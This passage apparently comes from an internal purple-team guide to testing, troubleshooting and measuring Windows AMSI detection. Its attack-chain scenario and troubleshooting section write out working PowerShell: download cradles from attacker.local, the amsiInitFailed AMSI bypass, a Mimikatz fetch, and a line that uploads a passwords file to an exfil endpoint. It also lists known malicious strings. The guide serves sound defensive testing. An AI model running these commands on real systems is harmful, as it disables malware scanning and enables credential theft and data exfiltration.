# How many obfuscation techniques are detected?
# Where are the gaps?
# Update signatures/rules accordingly

11.4 Scenario 4: Complete Attack Chain

Objective: Test detection across full attack lifecycle

# Phase 1: Initial Access (Phishing simulation)
# RED TEAM: Malicious macro execution
# (Simulate via Office document with AMSI-triggering VBA)

# Phase 2: Execution
# RED TEAM: PowerShell download cradle
IEX (New-Object Net.WebClient).DownloadString('http://attacker.local/stage2.ps1')

# Phase 3: Defense Evasion
# RED TEAM: AMSI bypass attempt
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Phase 4: Credential Access
# RED TEAM: Invoke-Mimikatz
IEX (New-Object Net.WebClient).DownloadString('http://attacker.local/mimikatz.ps1')

# Phase 5: Exfiltration
# RED TEAM: Data exfil
$data = Get-Content C:\sensitive\passwords.txt
IEX (New-Object Net.WebClient).UploadString('http://attacker.local/exfil', $data)

# BLUE TEAM: Analyze detection coverage
# Which phases were detected?
# Detection timeline:
# - Phase 1: [DETECTED/MISSED]
# - Phase 2: [DETECTED/MISSED]
# - Phase 3: [DETECTED/MISSED]
# - Phase 4: [DETECTED/MISSED]
# - Phase 5: [DETECTED/MISSED]

# Calculate: Mean Time To Detect (MTTD)
# Calculate: Mean Time To Respond (MTTR)

12. Troubleshooting

12.1 Issue 1: AMSI Not Detecting

Symptoms: - Malicious scripts execute without blocking - No AMSI errors - No logs generated

Diagnosis:

# Check AMSI availability
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

# Check PowerShell version
$PSVersionTable.PSVersion
# Must be 5.0 or higher

# Check Windows Defender status
Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntivirusEnabled

# Check if AMSI provider is registered
Get-MpPreference | Select-Object DisableRealtimeMonitoring

# Check for AMSI bypass in current session
# Try executing known bad string
IEX "Invoke-Mimikatz"
# Should be blocked if AMSI is working

Solutions:

# Solution 1: Update Windows Defender signatures
Update-MpSignature

# Solution 2: Enable Real-Time Protection
Set-MpPreference -DisableRealtimeMonitoring $false

# Solution 3: Restart AMSI-related services
Restart-Service -Name WinDefend -Force

# Solution 4: Re-register AMSI provider
# Run as Administrator
regsvr32 /s amsi.dll

# Solution 5: Check for conflicts
# Disable other AV temporarily to test

12.2 Issue 2: False Positives

Symptoms: - Legitimate scripts blocked - Development work interrupted - Build processes failing

Solutions:

# Solution 1: Add exclusions (use sparingly)
Add-MpPreference -ExclusionPath "C:\DevScripts"

# Solution 2: Whitelist specific scripts
Add-MpPreference -ExclusionProcess "legitimate_script.ps1"

# Solution 3: Use code signing
# Sign your scripts with trusted certificate
# AMSI trusts signed code more

# Solution 4: Context-aware exclusions
# Add exclusions only for specific users/processes
# Don't blanket-exclude PowerShell

12.3 Issue 3: AMSI Bypass Successful

Symptoms: - Bypass scripts work - Malicious code executes after bypass - No EDR alerts

Diagnosis:

# Test if bypass succeeded
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# If successful, test malicious execution
IEX "Invoke-Mimikatz"
# If this works, AMSI is bypassed

Solutions:

# Solution 1: Enable AMSI++ (if available)
# Third-party AMSI protection that detects bypass attempts

# Solution 2: Use JEA (Just Enough Administration)
# Restrict what can be executed in PowerShell sessions

# Solution 3: Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
# Prevents reflection attacks

# Solution 4: Application whitelisting
# Only allow signed/approved PowerShell scripts

# Solution 5: EDR with anti-tamper
# FortiEDR, CrowdStrike, etc. should detect AMSI tampering
# If not, tune EDR rules

12.4 Issue 4: Performance Impact

Symptoms: - Slow script execution - High CPU usage - Delayed responses

Solutions:

# Solution 1: Tune AMSI scanning
# Balance security vs performance

# Solution 2: Cache exemptions
# Add frequently-used safe scripts to exclusions

# Solution 3: Use Script Block Logging selectively
# Don't log everything
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0

# Solution 4: Optimize AV engine
# Ensure AV is updated and optimized
# Consider more performant AV if needed

13. Best Practices

Voor Blue Team

Do's: 1. Enable AMSI on all Windows 10+ systems 2. Combine AMSI with PowerShell logging 3. Monitor for AMSI bypass attempts 4. Use EDR that protects AMSI 5. Regularly test AMSI detection 6. Update AV signatures frequently 7. Implement behavioral detection 8. Log all script execution

Don'ts: 1. Rely solely on AMSI 2. Disable AMSI for convenience 3. Ignore AMSI bypass alerts 4. Over-exclude legitimate paths 5. Forget about non-PowerShell vectors

Voor Red Team

Testing Guidelines: 1. Always get authorization 2. Test in isolated environment first 3. Document bypass techniques found 4. Report vulnerabilities responsibly 5. Help Blue Team improve detections

13.1 Voor Organisaties

Implementation:

# 1. Enable AMSI across domain
# Group Policy:
# Computer Configuration > Administrative Templates >
# Windows Components > Windows Defender Antivirus >
# Real-time Protection > Turn on behavior monitoring

# 2. Enable PowerShell logging
# Group Policy:
# Computer Configuration > Administrative Templates >
# Windows Components > Windows PowerShell >
# Turn on PowerShell Script Block Logging

# 3. Deploy EDR with AMSI protection

# 4. Monitor AMSI events in SIEM

# 5. Regular testing schedule
# - Weekly: Automated AMSI tests
# - Monthly: Purple team exercises
# - Quarterly: Full security assessment

14. Metrics & KPIs

14.1 Detection Metrics

# Calculate detection rate
$totalTests = 100
$detected = 95
$detectionRate = ($detected / $totalTests) * 100

Write-Host "AMSI Detection Rate: $detectionRate%"

# Target: > 95% detection rate

14.2 Response Metrics

# Mean Time To Detect (MTTD)
$attackTime = Get-Date "2025-12-01 10:00:00"
$detectionTime = Get-Date "2025-12-01 10:00:02"
$MTTD = ($detectionTime - $attackTime).TotalSeconds

Write-Host "MTTD: $MTTD seconds"

# Target: < 5 seconds for AMSI detections

14.3 Coverage Metrics

## AMSI Coverage Report

### Supported Vectors
- [x] PowerShell (100%)
- [x] VBScript (100%)
- [x] JScript (100%)
- [x] Office Macros (95%)
- [ ] .NET inline execution (In Progress)

### Attack Techniques Detected
- [x] Invoke-Mimikatz (100%)
- [x] Invoke-Shellcode (100%)
- [x] GPP Password extraction (100%)
- [x] Credential dumping (95%)
- [x] Obfuscated payloads (85%)
- [ ] AMSI bypasses (75% - needs improvement)

### Recommendations
1. Improve AMSI bypass detection
2. Enhance obfuscation detection
3. Add behavioral correlation rules

15. Resources

15.1 Official Documentation

  • Microsoft AMSI: https://docs.microsoft.com/en-us/windows/win32/amsi/
  • PowerShell + AMSI: https://devblogs.microsoft.com/powershell/
  • Windows Defender: https://docs.microsoft.com/en-us/windows/security/threat-protection/

15.2 Tools

  • AMSITrigger: https://github.com/RythmStick/AMSITrigger
  • Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation
  • AMSI.fail: https://amsi.fail/ (bypass database - for testing)

15.3 Research

  • Matt Graeber - AMSI Research: https://www.mdsec.co.uk/
  • Rastamouse - AMSI Bypasses: https://rastamouse.me/
  • BC-SECURITY - AMSI Evasion: https://www.bc-security.org/

15.4 Training

  • SANS SEC505: Securing Windows
  • Pentester Academy: PowerShell for Pentesters
  • DEFCON Talks: AMSI bypass techniques

16. Quick Reference

16.1 Test AMSI Status

# Check if AMSI is present
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

# Check PowerShell version
$PSVersionTable.PSVersion

# Check Windows Defender
Get-MpComputerStatus | Select-Object AMServiceEnabled

16.2 Quick Detection Test

# Should be blocked by AMSI
IEX "Invoke-Mimikatz"

16.3 Check Logs

# AMSI detections
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=1116}

# PowerShell script blocks
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}

16.4 Known Malicious Strings

Invoke-Mimikatz
Invoke-Shellcode
Get-GPPPassword
Invoke-PowerShellTcp
Invoke-ReflectivePEInjection
Invoke-TokenManipulation
DumpCreds
mimikatz

17. Appendix: AMSI Result Codes

AMSI_RESULT_CLEAN               = 0
AMSI_RESULT_NOT_DETECTED        = 1
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END   = 20479
AMSI_RESULT_DETECTED            = 32768

Fox & Fish Cybersecurity | Intern gebruik